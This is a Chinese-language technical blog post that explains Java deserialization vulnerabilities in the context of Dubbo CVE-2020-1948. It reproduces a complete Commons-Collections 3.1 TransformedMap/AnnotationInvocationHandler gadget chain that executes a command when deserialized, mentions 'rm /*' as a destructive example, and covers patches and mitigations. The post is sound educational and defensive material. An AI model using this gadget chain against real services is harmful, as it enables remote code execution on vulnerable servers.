1. 程式人生 > >Dubbo 高危漏洞!原來都是反序列化惹得禍

Dubbo 高危漏洞!原來都是反序列化惹得禍

## 前言 這周收到外部合作同事推送的一篇文章,[【漏洞通告】Apache Dubbo Provider預設反序列化遠端程式碼執行漏洞(CVE-2020-1948)通告](https://mp.weixin.qq.com/s/iKQbdWrMG00Arg0aEUbrXQ)。 按照文章披露的漏洞影響範圍,可以說是當前所有的 Dubbo 的版本都有這個問題。 ![](https://img2020.cnblogs.com/other/1419561/202007/1419561-20200709081029700-1420107042.jpg) 無獨有偶,這周在 Github 自己的倉庫上推送幾行改動,不一會就收到 Github 安全提示,警告當前專案存在安全漏洞[CVE-2018-10237](https://github.com/advisories/GHSA-mvr2-9pj6-7w5j)。 ![](https://img2020.cnblogs.com/other/1419561/202007/1419561-20200709081029888-1609834564.jpg) 可以看到這兩個漏洞都是利用反序列化進行執行惡意程式碼,可能很多同學跟我當初一樣,看到這個一臉懵逼。好端端的反序列化,怎麼就能被惡意利用,用來執行的惡意程式碼?    ![](https://img2020.cnblogs.com/other/1419561/202007/1419561-20200709081030284-816710555.jpg) 這篇文章我們就來聊聊反序列化漏洞,瞭解一下黑客是如何利用這個漏洞進行攻擊。 > **先贊後看,養成習慣!微信搜尋『程式通事』,關注就完事了!** ## 反序列化漏洞 在瞭解反序列化漏洞之前,首先我們學習一下兩個基礎知識。 ### Java 執行外部命令 Java 中有一個類 `Runtime`,我們可以使用這個類執行執行一些外部命令。 下面例子中我們使用 `Runtime` 執行開啟系統的計算器軟體。 ```java // 僅適用macos Runtime.getRuntime().exec("open -a Calculator "); ``` 有了這個類,惡意程式碼就可以執行外部命令,比如執行一把 `rm /*`。 ### 序列化/反序列化 如果經常使用 Dubbo,Java 序列化與反序列化應該不會陌生。 一個類通過實現 `Serializable`介面,我們就可以將其序列化成二進位制資料,進而儲存在檔案中,或者使用網路傳輸。 其他程式可以通過網路接收,或者讀取檔案的方式,讀取序列化的資料,然後對其進行反序列化,從而反向得到相應的類的例項。 ![](https://img2020.cnblogs.com/other/1419561/202007/1419561-20200709081030505-83795350.jpg) 下面的例子我們將 `App` 的物件進行序列化,然後將資料儲存到的檔案中。後續再從檔案中讀取序列化資料,對其進行反序列化得到 `App` 類的物件例項。 ```java public class App implements Serializable { private String name; private static final long serialVersionUID = 7683681352462061434L; private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); System.out.println("readObject name is "+name); Runtime.getRuntime().exec("open -a Calculator"); } public static void main(String[] args) throws IOException, ClassNotFoundException { App app = new App(); app.name = "程式通事"; FileOutputStream fos = new FileOutputStream("test.payload"); ObjectOutputStream os = new ObjectOutputStream(fos); //writeObject()方法將Unsafe物件寫入object檔案 os.writeObject(app); os.close(); //從檔案中反序列化obj物件 FileInputStream fis = new FileInputStream("test.payload"); ObjectInputStream ois = new ObjectInputStream(fis); //恢復物件 App objectFromDisk = (App)ois.readObject(); System.out.println("main name is "+objectFromDisk.name); ois.close(); } ``` 執行結果: ```log readObject name is 程式通事 main name is 程式通事 ``` 並且成功打開了計算器程式。 當我們呼叫 `ObjectInputStream#readObject`讀取反序列化的資料,如果物件內實現了 `readObject`方法,這個方法將會被呼叫。 原始碼如下: ![](https://img2020.cnblogs.com/other/1419561/202007/1419561-20200709081030750-865499854.jpg) ### 反序列化漏洞執行條件 上面的例子中,我們在 `readObject` 方法內主動使用`Runtime`執行外部命令。但是正常的情況下,我們肯定不會在 `readObject`寫上述程式碼,除非是內鬼 ̄□ ̄|| ![](https://img2020.cnblogs.com/other/1419561/202007/1419561-20200709081030905-1270838664.jpg) 如果可以找到一個物件,他的`readObject`方法可以執行任意程式碼,那麼在反序列過程也會執行對應的程式碼。我們只要將滿足上述條件的物件序列化之後傳送給先相應 Java 程式,Java 程式讀取之後,進行反序列化,就會執行指定的程式碼。 為了使反序列化漏洞成功執行需要滿足以下條件: 1. Java 反序列化應用中需要**存在序列化使用的類**,不然反序列化時將會丟擲 `ClassNotFoundException` 異常。 2. Java 反序列化物件的 `readObject`方法可以執行任何程式碼,沒有任何驗證或者限制。 引用一段網上的反序列化攻擊流程,來源:
> 1. 客戶端構造payload(有效載荷),並進行一層層的封裝,完成最後的exp(exploit-利用程式碼) > 2. exp傳送到服務端,進入一個服務端自主複寫(也可能是也有元件複寫)的readobject函式,它會反序列化恢復我們構造的exp去形成一個惡意的資料格式exp_1(剝去第一層) > 3. 這個惡意資料exp_1在接下來的處理流程(可能是在自主複寫的readobject中、也可能是在外面的邏輯中),會執行一個exp_1這個惡意資料類的一個方法,在方法中會根據exp_1的內容進行函處理,從而一層層地剝去(或者說變形、解析)我們exp_1變成exp_2、exp_3...... > 4. 最後在一個可執行任意命令的函式中執行最後的payload,完成遠端程式碼執行。 ## Common-Collections 下面我們以 `Common-Collections` 的存在反序列化漏洞為例,來複現反序列化攻擊流程。 首先我們在應用內引入 `Common-Collections` 依賴,這裡需要注意,我們需要引入 **3.2.2** 版本之前,之後的版本這個漏洞已經被修復。 ```java commons-collections
commons-collections 3.1
``` > PS:下面的程式碼只有在 JDK7 環境下執行才能復現這個問題。 首先我們需要明確,我們做一系列目的就是為了讓應用程式成功執行 `Runtime.getRuntime().exec("open -a Calculator")`。 當然我們沒辦法讓程式直接執行上述語句,我們需要藉助其他類,間接執行。 `Common-Collections`存在一個 `Transformer`,可以將一個物件型別轉為另一個物件型別,相當於 **Java Stream** 中的 `map` 函式。 `Transformer`有幾個實現類: - `ConstantTransformer` - `InvokerTransformer` - `ChainedTransformer` 其中 `ConstantTransformer`用於將物件轉為一個常量值,例如: ```java Transformer transformer = new ConstantTransformer("程式通事"); Object transform = transformer.transform("樓下小黑哥"); // 輸出物件為 程式通事 System.out.println(transform); ``` `InvokerTransformer`將會使用反射機制執行指定方法,例如: ```java Transformer transformer = new InvokerTransformer( "append", new Class[]{String.class}, new Object[]{"樓下小黑哥"} ); StringBuilder input=new StringBuilder("程式通事-"); // 反射執行了 input.append("樓下小黑哥"); Object transform = transformer.transform(input); // 程式通事-樓下小黑哥 System.out.println(transform); ``` `ChainedTransformer` 需要傳入一個 `Transformer[]`陣列物件,使用責任鏈模式執行的內部 `Transformer`,例如: ```java Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; Transformer chainTransformer = new ChainedTransformer(transformers); chainTransformer.transform("任意物件值"); ``` 通過 `ChainedTransformer` 鏈式執行 `ConstantTransformer`,`InvokerTransformer`邏輯,最後我們成功的執行的 `Runtime`語句。 不過上述的程式碼存在一些問題,`Runtime`沒有繼承 `Serializable`介面,我們無法將其進行序列化。 ![](https://img2020.cnblogs.com/other/1419561/202007/1419561-20200709081031189-842968932.jpg) 如果對其進行序列化程式將會丟擲異常: ![image-20200705123341395](https://img2020.cnblogs.com/other/1419561/202007/1419561-20200709081031321-459282284.jpg) 我們需要改造以上程式碼,使用 `Runtime.class` 經過一系列的反射執行: ```java String[] execArgs = new String[]{"open -a Calculator"}; final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), new InvokerTransformer( "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer( "exec", new Class[]{String.class}, execArgs), }; ``` 剛接觸這塊的同學的應該已經看暈了吧,沒關係,我將上面的程式碼翻譯一下正常的反射程式碼一下: ```java ((Runtime) Runtime.class. getMethod("getRuntime", null). invoke(null, null)). exec("open -a Calculator"); ``` ### TransformedMap 接下來我們需要找到相關類,可以自動呼叫`Transformer`內部方法。 `Common-Collections`內有兩個類將會呼叫 `Transformer`: - `TransformedMap` - `LazyMap` 下面將會主要介紹 `TransformedMap`觸發方式,`LazyMap`觸發方式比較類似,感興趣的同學可以研究這個開源庫[@ysoserial](https://github.com/frohoff/ysoserial) `CommonsCollections1`。 >
Github 地址: `TransformedMap` 可以用來對 Map 進行某種變換,底層原理實際上是使用傳入的 `Transformer` 進行轉換。 ```java Transformer transformer = new ConstantTransformer("程式通事"); Map testMap = new HashMap<>(); testMap.put("a", "A"); // 只對 value 進行轉換 Map decorate = TransformedMap.decorate(testMap, null, transformer); // put 方法將會觸發呼叫 Transformer 內部方法 decorate.put("b", "B"); for (Object entry : decorate.entrySet()) { Map.Entry temp = (Map.Entry) entry; if (temp.getKey().equals("a")) { // Map.Entry setValue 也會觸發 Transformer 內部方法 temp.setValue("AAA"); } } System.out.println(decorate); ``` 輸出結果為: ```java {b=程式通事, a=程式通事} ``` ### AnnotationInvocationHandler 上文中我們知道了,只要呼叫 `TransformedMap`的 `put` 方法,或者呼叫 `Map.Entry`的 `setValue`方法就可以觸發我們設定的 `ChainedTransformer`,從而觸發 `Runtime` 執行外部命令。 現在我們就需要找到一個可序列化的類,這個類**正好**實現了 `readObject`,且**正好**可以呼叫 Map `put` 的方法或者呼叫 `Map.Entry`的 `setValue`。 Java 中有一個類 `sun.reflect.annotation.AnnotationInvocationHandler`,正好滿足上述的條件。這個類建構函式可以設定一個 `Map` 變數,這下剛好可以把上面的 `TransformedMap` 設定進去。 ![](https://img2020.cnblogs.com/other/1419561/202007/1419561-20200709081031471-734444648.jpg) 不過不要高興的太早,這個類沒有 public 修飾符,預設只有同一個包才可以使用。 ![](https://img2020.cnblogs.com/other/1419561/202007/1419561-20200709081031757-1704857760.jpg) 不過這點難度,跟上面一比,還真是輕鬆,我們可以通過反射獲取從而獲取這個類的例項。 示例程式碼如下: ```java Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); // 隨便使用一個註解 Object instance = ctor.newInstance(Target.class, exMap); ``` 完整的序列化漏洞示例程式碼如下 : ```java String[] execArgs = new String[]{"open -a Calculator"}; final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), new InvokerTransformer( "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer( "exec", new Class[]{String.class}, execArgs), }; // Transformer transformerChain = new ChainedTransformer(transformers); Map tempMap = new HashMap<>(); // tempMap 不能為空 tempMap.put("value", "you"); Map exMap = TransformedMap.decorate(tempMap, null, transformerChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); // 隨便使用一個註解 Object instance = ctor.newInstance(Target.class, exMap); File f = new File("test.payload"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f)); oos.writeObject(instance); oos.flush(); oos.close(); ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f)); // 觸發程式碼執行 Object newObj = ois.readObject(); ois.close(); ``` 上面程式碼中需要注意,`tempMap`需要一定不能為空,且 `key` 一定要是 **value**。那可能有的同學為什麼一定要這樣設定? `tempMap`不能為空的原因是因為 `readObject` 方法內需要遍歷內部 `Map.Entry`. ~~至於第二個問題,別問,問就是玄學~~~好吧,我也沒研究清楚--,有了解的小夥伴的**留言一下**。 最後總結一下這個反序列化漏洞程式碼執行鏈路如下: ![](https://img2020.cnblogs.com/other/1419561/202007/1419561-20200709081031922-106034409.jpg) ## Common-Collections 漏洞修復方式 在 JDK 8 中,`AnnotationInvocationHandler` 移除了 `memberValue.setValue`的呼叫,從而使我們上面構造的 `AnnotationInvocationHandler`+`TransformedMap`失效。 另外 `Common-Collections`3.2.2 版本,對這些不安全的 Java 類序列化支援增加了開關,預設為關閉狀態。 比如在 `InvokerTransformer`類中重寫 `readObject`,增相關判斷。如果沒有開啟不安全的類的序列化則會丟擲UnsupportedOperationException異常![](https://img2020.cnblogs.com/other/1419561/202007/1419561-20200709081032076-2045826391.jpg) ## Dubbo 反序列化漏洞 Dubbo 反序列化漏洞原理與上面的類似,但是執行的程式碼攻擊鏈與上面完全不一樣,這裡就不再復現的詳細的實現的方式,感興趣的可以看下面兩篇文章: Dubbo 在 2020-06-22 日釋出 2.7.7 版本,升級內容名其中包括了這個反序列化漏洞的修復。不過從其他人釋出的文章來看,2.7.7 版本的修復方式,只是初步改善了問題,不過並沒有根本上解決的這個問題。 感興趣的同學可以看下這篇文章: ## 防護措施 最後作為一名普通的開發者來說,我們自己來修復這種漏洞,實在不太現實。 術業有專攻,這種專業的事,我們就交給個高的人來頂。 我們需要做的事,就是了解的這些漏洞的一些基本原理,樹立的一定意識。 其次我們需要了解一些基本的防護措施,做到一些基本的防禦。 如果碰到這類問題,我們及時需要關注官方的新的修復版本,儘早升級,比如 `Common-Collections` 版本升級。 有些依賴 jar 包,升級還是方便,但是有些東西升級就比較麻煩了。就比如這次 Dubbo 來說,官方目前只放出的 Dubbo 2.7 版本的修復版本,如果我們需要升級,需要將版本直接升級到 Dubbo 2.7.7。 如果你目前已經在使用 Dubbo 2.7 版本,那麼升級還是比較簡單。但是如果還在使用 Dubbo 2.6 以下版本的,那麼就麻煩了,沒辦法直接升級。 Dubbo 2.6 到 Dubbo 2.7 版本,其中升級太多了東西,就比如包名變更,影響真的比較大。 就拿我們系統來講,我們目前這套系統,生產還在使用 JDK7。如果需要升級,我們首先需要升級 JDK。 其次,我們目前大部分應用還在使用 **Dubbo 2.5.6** 版本,這是真的,版本就是這麼低。 這部分應用直接升級到 Dubbo 2.7 ,改動其實非常大。另外有些基礎服務,自從第一次部署之後,就再也沒有重新部署過。對於這類應用還需要仔細評估。 最後,我們有些應用,自己實現了 Dubbo SPI,由於 Dubbo 2.7 版本的包路徑改動,這些 Dubbo SPI 相關包路徑也需要做出一些改動。 所以直接升級到 Dubbo 2.7 版本的,對於一些老系統來講,還真是一件比較麻煩的事。 **如果真的需要升級,不建議一次性全部升級,建議採用逐步升級替換的方式,慢慢將整個系統的內 Dubbo 版本的升級。** 所以這種情況下,短時間內防禦措施,可參考玄武實驗室給出的方案: ![](https://img2020.cnblogs.com/other/1419561/202007/1419561-20200709081032437-772851212.jpg) 如果當前 Dubbo 部署雲上,那其實比較簡單,可以使用雲廠商的提供的相關流量監控產品,提前一步阻止漏洞的利用。 ## 最後(來個一鍵四連!!!) 本人不是從事安全開發,上文中相關總結都是查詢網上資料,然後加以自己的理解。如果有任何錯誤,麻煩各位大佬輕噴~ 如果可以的話,留言指出,謝謝了~ 好了,說完了正事,來說說這周的趣事~ 這周搬到了小黑屋,哼次哼次進入開發~ 剛進到小黑屋的時候,我發現裡面的桌子,可以單獨拆開。於是我就單獨拆除一個桌子,然後霸佔了一個背靠窗,正面直對大門的*天然划水摸魚*的好位置。 之後我又叫來另外一個同事,坐在我的邊上。當我們的把電腦,顯示器啥的都搬過來放到桌子上之後。外面進來的同事就說這個會議室怎麼就變成了跟房產線下門店一樣了~ 還真別說,在我的位置前面擺上兩把椅子,就跟上面的圖一樣了~ ![](https://img2020.cnblogs.com/other/1419561/202007/1419561-20200709081032648-467151196.jpg) 好了,下週有點不知道些什麼,大家有啥想了解,感興趣的,可以留言一下~ 如果沒有寫作主題的話,咱就幹回老本行,來聊聊這段時間,我在開發的聚合支付模式,盡請期待哈~ ## 幫助資料 1. 2. 3. 4. 5. 6. 7. 8. 9. [JAVA反序列化漏洞完整過程分析與除錯](https://wooyun.js.org/drops/JAVA反序列化漏洞完整過程分析與除錯.html) 10. 11. > 歡迎關注我的公眾號:程式通事,獲得日常乾貨推送。如果您對我的專題內容感興趣,也可以關注我的部落格:[studyidea.cn](https://studyi